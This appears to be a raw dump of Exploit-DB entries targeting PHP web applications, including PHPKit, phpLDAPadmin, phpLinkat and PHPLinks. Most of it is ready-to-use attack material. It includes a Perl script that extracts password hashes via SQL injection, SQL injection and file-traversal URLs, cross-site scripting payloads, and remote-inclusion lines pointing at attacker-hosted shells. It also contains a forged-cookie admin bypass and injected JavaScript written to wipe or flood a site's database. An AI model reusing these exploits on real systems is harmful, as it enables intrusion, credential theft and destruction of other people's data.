deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2714
Description: PHPKIT 1.6.1R2 - 'search_user' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-04
Author: x23

Exploit:
#!/usr/bin/perl

use IO::Socket;

print q{
-----------------------------------------------
PHPKit 1.6.1 exploit by x23 ~ phcn.ws ~ geek-network.de
use: phpkit161.pl [server] [dir] [vic_id]
sample:
$ perl phpkit161.pl localhost /phpkit/ 1
-----------------------------------------------

};

$webpage =   $ARGV[0];
$directory = $ARGV[1];
$vic_id =    $ARGV[2];

if (!$vic_id) { die "~ read how to use ;)\n"; }

print "~ connecting\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", PeerPort=>"80") || die "[+] Can't connect to Server\n";

print "~ exploiting\n";
print $sock "POST ".$directory."popup.php?path=misc/finduser.php HTTP/1.1\r\n";
print $sock "Host: $webpage\r\n";
print $sock "Keep-Alive: 300\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Content-Length: ".length("search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D".$vic_id."%2F*&action=Suche&User=-1")."\r\n\r\n";

print $sock "search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D".$vic_id."%2F*&action=Suche&User=-1";

while ($answer = <$sock>) {
  #print $answer;
  if ($answer =~/<option value="([0-9a-f]{32})">/) {
     print "~ hash: $1\n";
     close($sock);
     exit();
     break;
  }
}

close($sock);

# milw0rm.com [2006-11-04]
Exploit-DB #33782
Description: PHPKIT 1.6.x - 'b-day.php' Addon SQL Injection
Type: webapps
Platform: php
Date: 2010-03-22
Author: n3w7u

Exploit:
source: https://www.securityfocus.com/bid/38891/info

PHPKIT 'b-day.php' addon is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/include.php?path=b-day.php&ausgabe=11+uNIoN+sElECt+1,concat(user_name,0x3a,user_pw),3,4,5,6+from+phpkit_user+where+user_id=1--
Exploit-DB #7558
Description: PHPLD 3.3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-23
Author: fuzion

Exploit:
phpLD 3.3 Blind SQL Injection
http://www.phplinkdirectory.com/

magic_quotes_gpc = Off
register_globals = On

Vulnerable:
GET http://site/phpld/page.php?name=

True Request:
(validpagename)' or 1=1#

False Request:
(validpagename)' or 1=0#

Try this (urlencode):
(validpagename)' or ORD(MID((SELECT PASSWORD FROM PLD_USER WHERE ID = 1),1,1))>1# etc...

Field value example:
{sha1}dd94709528bb1c83d08f3088d4043f4742891f4f


- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-23]
Exploit-DB #10410
Description: phpLDAPadmin - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-10
Author: ipsecs

Exploit:
########################################################################
#		PHPLDAPADMIN LOCAL FILE INCLUSION
########################################################################

author	: ipsecs
website	: http://ipsecs.com
Date		: December, 10th, 2009


-[i]- Description

"Phpldapadmin is web based LDAP client which provides easy,
anywhere-accessible, multi-language administration for LDAP
server."
http://phpldapadmin.sourceforge.net

vulnerable version:
phpldapadmin 1.1.0.5
Ubuntu 8.10
Debian 5.0
Other version may be affected

-[ii]- Vulnerable Code

Vulnerable code is found in cmd.php which doesn't sanitize
URI parameter provided by user input.

line 10
$www['cmd'] = get_request('cmd','REQUEST');

line 22-27
if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
       $file = HOOKSDIR.$www['cmd'].'.php';

elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
       $file = HTDOCDIR.$www['cmd'].'.php';

line 38-39
if ($file)
       include $file;

Attacker may view any arbitrary files trough 'cmd' parameter 
in URI request.

-[iii]- Exploit

http://server/phpldapadmin/cmd.php?cmd=../../../../etc/passwd%00
http://server/phpldapadmin/cmd.php?cmd=../../../../issue%00

-[iv]- Fix

Sanitize $file before being included. Unfortunaltely there is 
no working patch at this time.
Exploit-DB #26211
Description: phpLDAPadmin 0.9.6/0.9.7 - 'welcome.php' Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2005-08-30
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14695/info

phpldapadmin is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

phpldapadmin is prone to a directory traversal vulnerability. An attacker can exploit this vulnerability to retrieve arbitrary files on the vulnerable system in the security context of the Web server process. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

phpldapadmin is prone to a remote file include vulnerability. An attacker can exploit this vulnerability to execute arbitrary PHP script code in the security context of the Web server process.

phpldapadmin is also prone to a cross-site scripting vulnerability. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpldapadmin/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd
http://www.example.com/phpldapadmin/welcome.php?custom_welcome_page=http://www.example.com/[malicious code]
Exploit-DB #27717
Description: phpLDAPadmin 0.9.8 - 'compare_form.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17643/info

PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/compare_form.php?server_id=0&dn=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E
Exploit-DB #27718
Description: phpLDAPadmin 0.9.8 - 'copy_form.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17643/info
 
PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/copy_form.php?server_id=0&dn=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E
Exploit-DB #27719
Description: phpLDAPadmin 0.9.8 - 'rename_form.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17643/info
  
PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/rename_form.php?server_id=0&dn=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E
Exploit-DB #27721
Description: phpLDAPadmin 0.9.8 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17643/info
    
PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/search.php?server_id=0&search=true&filter=objectClass%3D%2A&base_dn=cn%3Dtoto%2Cdc%3Dexample%2Cdc%3Dcom&form=advanced&scope=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E
Exploit-DB #27722
Description: phpLDAPadmin 0.9.8 - 'template_engine.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17643/info
     
PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/template_engine.php?server_id=0&dn=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E
Exploit-DB #36655
Description: phpLDAPadmin 1.2.0.5-2 - 'server_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-01
Author: andsarmiento

Exploit:
source: https://www.securityfocus.com/bid/51794/info

phpLDAPadmin is prone to cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpLDAPadmin 1.2.0.5-2 is affected; other versions may also be vulnerable. 

https://www.example.com/phpldapadmin/cmd.php?server_id=<script>alert('XSS')</script>

https://www.example.com/phpldapadmin/index.php?server_id=<script>alert('XSS')</script>&redirect=false
Exploit-DB #36654
Description: phpLDAPadmin 1.2.2 - 'base' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-01
Author: andsarmiento

Exploit:
source: https://www.securityfocus.com/bid/51793/info

phpLDAPadmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpLDAPadmin 1.2.2 is affected; other versions may also be vulnerable. 

http://www.example.com/phpldapadmin/htdocs/cmd.php?cmd=query_engine&server_id=1&query=none&format=list&showresults=na&base=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&scope=sub&
filter=objectClass%3D* display_attrs=cn%2C+sn%2C+uid%2C+postalAddress%2C+telephoneNumber&orderby=&size_limit=50&search=Search
Exploit-DB #44926
Description: phpLDAPadmin 1.2.2 - 'server_id' LDAP Injection (Username)
Type: webapps
Platform: php
Date: 2018-06-22
Author: Berk Dusunur

Exploit:
# Exploit Title: phpLDAPadmin 1.2.2 - 'server_id' LDAP Injection (Username)    
# Google Dork:N/A
# Date: 21.06.2018
# Exploit Author: Berk Dusunur
# Vendor Homepage: http://phpldapadmin.sourceforge.net
# Software Link: http://phpldapadmin.sourceforge.net
# Version: 1.2.2
# Tested on: Pardus / Debian Web Server
# CVE : N/A

#Vulnerable Code
$server =
$_SESSION[APPCONFIG]->getServer(get_request('server_id','REQUEST'));
    if (count($server->untested()))
        system_message(array(

#Payload

!(()&&!|*|*|

#PoC 1

http://target/phpldapadmin/cmd.php?cmd=login_form&server_id=1!(()&&!|*|*|&redirect=true

#PoC 2

login panel username use !(()&&!|*|*| password !(()&&!|*|*|
Exploit-DB #28864
Description: PHPLeague 0.81 - '/consult/miniseul.php?cheminmini' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-26
Author: ajaan

Exploit:
source: https://www.securityfocus.com/bid/20756/info

Php League is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 0.81 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/consult/miniseul.php?cheminmini=http://www.example2.com
Exploit-DB #21022
Description: PHPLib Team PHPLIB 7.2 - Remote Script Execution
Type: webapps
Platform: php
Date: 2001-07-21
Author: giancarlo pinerolo

Exploit:
source: https://www.securityfocus.com/bid/3079/info

The PHP Base Library('PHPLIB') is a code library which provides support for session management in web applications. It is targeted to developers and is widely used in many web applications, so a strong possibility exists that an application may be using it without the knowledge of the administrator. 

A problem in PHPLIB will allow remote attackers to submit malicious input in web requests that will cause the application to fetch and then execute scripts from another host.

This may allow for attackers to gain local access to the webserver.

If $_PHPLIB[libdir] is a string whose value
is "http://attacker.com/", this instruction will be executed:

require("http://attacker.com/" . "db_mysql.inc");

Thus, simply crafting a URL like:

http://victim.com/any/phplib/page.php?_PHPLIB[libdir]=http://attacker.com/

will make the script 'page.php'(which the attacker knows is based on the PHPLIB toolkit) include and execute any arbitrary php instruction contained in a file named 'db_mysql.inc'.
Exploit-DB #2511
Description: PHPLibrary 1.5.3 - 'grid3.lib.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: k1tk4t

Exploit:
##################################################################################
# PHPLibrary <= 1.5.3 Remote File Inclusion
# Download Source : http://download.softerra.com/files/PHPLibrary-1.5.3.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   -- #newhack[dot]org
########################################################################
file ;
grid3.lib.php
########################################################################
bugs ;
require_once ($cfg_dir . "database.cfg.php");
require_once ($cfg_dir . "error.codes.php");
require_once ($lib_dir . "sqlstorage.class.php");
require_once ($lib_dir . "registry.lib.php");
########################################################################
exmple and methode exploit ;
http://localhost/PHPLibrary-1.5.3/example/lib/grid3.lib.php?cfg_dir=http://RemoteShell/shell.txt?&
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubi (all member solpotcrew community)
person;
y3dips, lirva32, the_day,(&all echo staff)
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz, home_edition2001,matdhule, iFX, and for all
(friend's&enemy)

# milw0rm.com [2006-10-10]
Exploit-DB #6140
Description: phpLinkat 0.1 - Insecure Cookie Handling / SQL Injection
Type: webapps
Platform: php
Date: 2008-07-26
Author: Encrypt3d.M!nd

Exploit:
######## ##    ##  ######  ########  ##    ## ########  ########  #######  ######## 
##       ###   ## ##    ## ##     ##  ##  ##  ##     ##    ##    ##     ## ##     ##
##       ####  ## ##       ##     ##   ####   ##     ##    ##           ## ##     ##
######   ## ## ## ##       ########     ##    ########     ##     #######  ##     ##
##       ##  #### ##       ##   ##      ##    ##           ##           ## ##     ##
##       ##   ### ##    ## ##    ##     ##    ##           ##    ##     ## ##     ##
######## ##    ##  ######  ##     ##    ##    ##           ##     #######  ######## 
################################ !R4Q!4N H4CK3R  ###################################
#
# phpLinkat 0.1 Insecure Cookie Handling Vulnerability & Sql Injection Exploit
#
# Founded By : Encrypt3d.M!nd
#              encrypt3d.blogspot.com
#
# Dork : "Powered by DesClub.com - phpLinkat"

# Description :
  
   phpLinkat is a free link indexing script written in PHP and
   runs on MySQL.This script is suffering a sql injection bug
   and insecure cookie handling.

# phpLinkat : Sql Injection Exploit
    PoC :www.site.com/phpLinkat/showcat.php?catid=666%20union%20select%20concat(version(),0x3a,database(),0x3a,user()),2,3,4,5,6/*

# phpLinkat : Insecure Cookie Handling
 
  /admin/login2.php: 
  6 : if( ($username == $cpusername) && ($password == $cppassword) ){
  7 :  setcookie("login","right");  <<< wtf!!
  8 :  echo <<<EOF
 Exploit:
  javascript:document.cookie = "login=right; path=/;";
  Then goto "phplinkat/admin/",and have fun ^_^

#End 

# milw0rm.com [2008-07-26]
Exploit-DB #21906
Description: phpLinkat 0.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2002-10-04
Author: Sp.IC

Exploit:
source: https://www.securityfocus.com/bid/5890/info

Reportedly, phpLinkat is prone to cross site scripting attacks.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link containing HTML and script code. The attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting phpLinkat.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

http://target/showcat.php?catid=<Script>JavaScript:alert('test');</Script>

http://target/addyoursite.php?catid=<Script>JavaScript:alert('test');</Script>
Exploit-DB #2347
Description: PhpLinkExchange 1.0 - Include / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-11
Author: s3rv3r_hack3r

Exploit:
vendor :www.idevspot.com

Demo : www.idevspot.com/demo/PhpStart/PhpLinkExchange

By : s3rv3r_hack3r

www: hackerz.ir & h4ckerz.com

remote file include :

http://www.domain.com/PhpLinkExchange/bits_listings.php?svr_rootPhpStart=[shell.txt?]

xss:

http://www.domain.com/PhpLinkExchange/user_add.php?msg=[xss]

# milw0rm.com [2006-09-11]
Exploit-DB #10495
Description: PhpLinkExchange 1.02 - Cross-Site Scripting / Upload
Type: webapps
Platform: php
Date: 2009-12-16
Author: Stink'

Exploit:
#############################
PhpLinkExchange v1.02 - XSS/Upload Vulerability
Discovered by : Stink'
Date : 2009-12-16
Dork : "PhpLinkExchange v1.02"
Website Publisher : http://www.idevspot.com/PhpLinkExchange.php
#############################

-- [XSS in URL] --
http://server/links/PhpLinkExchange/index.php?page=home&catid=[XSS]

-- [XSS in form] --
http://server/links/PhpLinkExchange/index.php?page=tellafriend
The XSS is in "Your Email Adress"

-- [Upload Vulnerability] --
http://server/links/library/add_images.php
After your shell uploaded, go here :
http://server/links/appimage/ and search your shell :)
Exploit-DB #22180
Description: PHPLinks 2.1.2 - Add Site HTML Injection
Type: webapps
Platform: php
Date: 2003-01-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/6632/info

phpLinks is prone to HTML injection.

phpLinks does not sufficiently sanitized HTML and script code supplied via form fields before displaying this data to administrative users. This issue exists in the 'add.php' script, which is used to add sites to the phpLinks system.

As a result, an attacker may cause malicious HTML and script code to be executed in the web client of an administrative user who reviews attacker-supplied data submitted when a site is added.

Put this in one of the field on "Add Site" form located at
http://blah/phplinks/index.php?show=add&PID=
If you inject the code into the Site Title or Site Url field, the code
will be ran as soon as a logged in administrator views it.

<iframe src=http://blah/death.html></iframe>

Below is the code for the called file "death.html"

---------------------------------------------------------------------------
<script language=JavaScript>
var i = 10; // This is the number of the user ID to start deleting
var BaseURL = "http://victimsite/phplinks/";
window.open(BaseURL + '/admin/reset.php?
reset_in=&reset_out=&search_terms=&referrers=&submit='); // this resets
the database
function Waste()
{
while (i) {
i++;
window.open(BaseURL + 'admin/delete_site.php?dbtable=links&ID=' + i
+ '&sure=Yes');
}
}
</script>
<body onLoad="Waste();">
---------------------------------------------------------------------------

As you can see, that code (when called by a logged in admin validating
sites) is run, the database is in alot of cases going to be left empty. By
the way, the dbtable=links can be changed to dbtable=temp in order to
affect sites not yet approved etc. On the other hand you can add users to
the database and more. Take the following code for example:

<iframe src=http://blah/life.html></iframe>

Below is the code for the called file "life.html":

---------------------------------------------------------------------------
<script language=JavaScript>
var i = 1;
var BaseURL = "http://victimsite/phplinks/";
function Gluttony()
{
while (i) {
i++;
window.open(BaseURL + '/admin/add_site.php?SiteName=JeiAr0wnethTheee' + i
+ '&SiteURL=http://www.b' + i + 'j.orfd&Description=' + i
+'[PII_REDACTED][PII_REDACTED][PII_REDACTED]3333&Category=&Country=Turkey.gif&Email=1@t
.' + i + '&UserName=12345' + i
+ '&[CREDENTIAL_REDACTED]=[PII_REDACTED]&add=' + i + '&sure=Yes');
}
}
</script>
<body onLoad="Gluttony();">
---------------------------------------------------------------------------
Exploit-DB #27673
Description: PHPLinks 2.1.2/2.1.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-18
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17586/info

The phpLinks application is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 2.1.3.1 and prior are vulnerable to this issue; other versions may also be affected.

http://www.example.com/phpLinks_path/index.php?logic=or&maximum=&term=%22%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #24655
Description: PHPLinks 2.1.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2004-10-05
Author: LSS Security

Exploit:
source: https://www.securityfocus.com/bid/11329/info

PHPLinks is reported prone to multiple input validation vulnerabilities. 

A file include vulnerability is reported to affect the 'index.php' script. This may allow an attacker to include and execute arbitrary PHP scripts. Code execution will occur in the context of the web server process that is hosting the vulnerable script.

SQL injection issues are reported to exist in the application as well. Due to this, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries.

www.example.com/phplinks/index.php?show=../../../../../../some/some/execute